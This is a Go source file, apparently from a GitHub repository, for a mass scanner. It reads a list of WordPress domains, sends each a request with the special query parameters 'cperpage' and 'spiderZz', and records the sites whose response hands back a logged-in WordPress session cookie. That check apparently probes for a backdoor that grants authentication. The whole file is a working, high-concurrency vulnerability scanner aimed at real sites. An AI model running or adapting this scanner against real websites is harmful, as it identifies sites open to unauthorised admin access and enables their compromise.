-
Notifications
You must be signed in to change notification settings - Fork 18
/
Copy pathscanner.go
130 lines (115 loc) · 3.07 KB
/
scanner.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
package main
import (
"bufio"
"log"
"net"
"net/http"
"net/url"
"os"
"runtime"
"strings"
"time"
)
var logger *log.Logger
func main() {
runtime.GOMAXPROCS(runtime.NumCPU() * 2)
logger = CustomLogger("run.log")
// if you set a fixed number of goroutine, set feedback-mechanism `false`
// Example: pool = NewGoroutinePool(1000, 2000, false)
// if you want feedback-mechanism, set `feedback = true`, maxWorkers and jobQueueLen
pool := NewGoroutinePool(10000, 100000, true)
urlFile := "./wordpress.txt"
fd, err := os.Open(urlFile)
if err != nil {
panic(err)
}
defer fd.Close()
scanner := bufio.NewScanner(fd)
for scanner.Scan() {
var domain string
s := strings.Split(scanner.Text(), ",")
domain, _ = s[0], s[1]
pool.AddJob(fetchURL, PayloadType(domain))
}
pool.Wait()
}
func fetchURL(targetURL PayloadType) {
// set timeout
client := &http.Client{
Transport: &http.Transport{
Dial: func(netw, addr string) (net.Conn, error) {
deadline := time.Now().Add(25 * time.Second)
// set timeout of connect
c, err := net.DialTimeout(netw, addr, time.Second*20)
if err != nil {
logger.Println(err)
return nil, err
}
// set timeout of send, write
c.SetDeadline(deadline)
return c, nil
},
// prevents re-use
DisableKeepAlives: true,
},
}
requestURL := "http://" + string(targetURL)
// requestURL := "http://" + "baidu.com" + "/index.php"
parseRequestURL, _ := url.Parse(requestURL)
extraParams := url.Values{
"cperpage": {"1"},
"spiderZz": {"Zz:0.6.1"},
}
parseRequestURL.RawQuery = extraParams.Encode()
requestURL = parseRequestURL.String()
req, err := http.NewRequest("GET", requestURL, nil)
// set headers
var Header map[string][]string
Header = make(map[string][]string)
Header["User-Agent"] = []string{"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36"}
Header["Connection"] = []string{"keep-alive"}
Header["Accept-Encoding"] = []string{"gzip, deflate"}
Header["Accept"] = []string{"*/*"}
Header["Accept-Encoding"] = []string{"gzip, deflate"}
req.Header = Header
// close indicates
req.Close = true
resp, err := client.Do(req)
if resp != nil {
defer resp.Body.Close()
}
if err != nil {
logger.Println(err)
return
}
// save result to file
if checkVul(resp.Cookies()) {
resultFile := "./result.txt"
outFd, err := os.OpenFile(resultFile, os.O_APPEND|os.O_WRONLY, 0600)
if err != nil {
outFd, err = os.Create(resultFile)
}
defer outFd.Close()
outWriter := bufio.NewWriter(outFd)
outWriter.WriteString(string(targetURL) + "\n")
outWriter.Flush()
return
}
return
}
func checkVul(cookies []*http.Cookie) bool {
// check cookie weather contain 'wordpress_logged_in_a73583346e4e31e82679e314e723fe41'
for _, v := range cookies {
if strings.Index(v.Name, "wordpress_logged_in") > -1 && len(v.Value) > 16 {
if strings.Index(v.Value, "%") > -1 {
return true
}
}
if strings.Index(v.Name, "wordpress_") > -1 && len(v.Value) > 16 {
if strings.Index(v.Value, "%") > -1 {
return true
}
}
}
return false
}